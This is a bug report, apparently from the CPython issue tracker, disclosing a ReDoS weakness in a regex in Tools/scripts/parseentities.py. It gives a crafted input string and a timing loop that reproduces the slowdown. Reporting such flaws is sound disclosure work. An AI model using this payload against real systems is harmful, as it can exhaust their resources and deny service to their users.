Message377885
Hi,
I find this regex '<!ENTITY +(\w+) +CDATA +"([^"]+)" +-- +((?:.|\n)+?) *-->' may be stucked by input.
The vulnerable regex is located in
https://github.com/python/cpython/blob/8d21aa21f2cbc6d50aab3f420bb23be1d081dac4/Tools/scripts/parseentities.py#L18
The ReDOS vulnerability of the regex is mainly due to the sub-pattern ' +((?:.|\n)+?) *'
and can be exploited with the following string
'<!ENTITY a CDATA "a" -- ' + ' ' * 5000
You can execute the following code to reproduce ReDos
from Tools.scripts.parseentities import parse
from time import perf_counter
for i in range(0, 10000):
ATTACK = '<!ENTITY a CDATA "a" -- ' + ' ' * i * 100
LEN = len(ATTACK)
BEGIN = perf_counter()
parse(ATTACK)
DURATION = perf_counter() - BEGIN
print(f"{LEN}: took {DURATION} seconds!")
Looking forward for your response!
Best,
Yeting Li |
|
| Date |
User |
Action |
Args |
| 2020-10-03 15:12:49 | yetingli | set | recipients:
+ yetingli |
| 2020-10-03 15:12:49 | yetingli | set | messageid: <1601737969.46.0.495788645161.issue41921@roundup.psfhosted.org> |
| 2020-10-03 15:12:49 | yetingli | link | issue41921 messages |
| 2020-10-03 15:12:49 | yetingli | create | |
|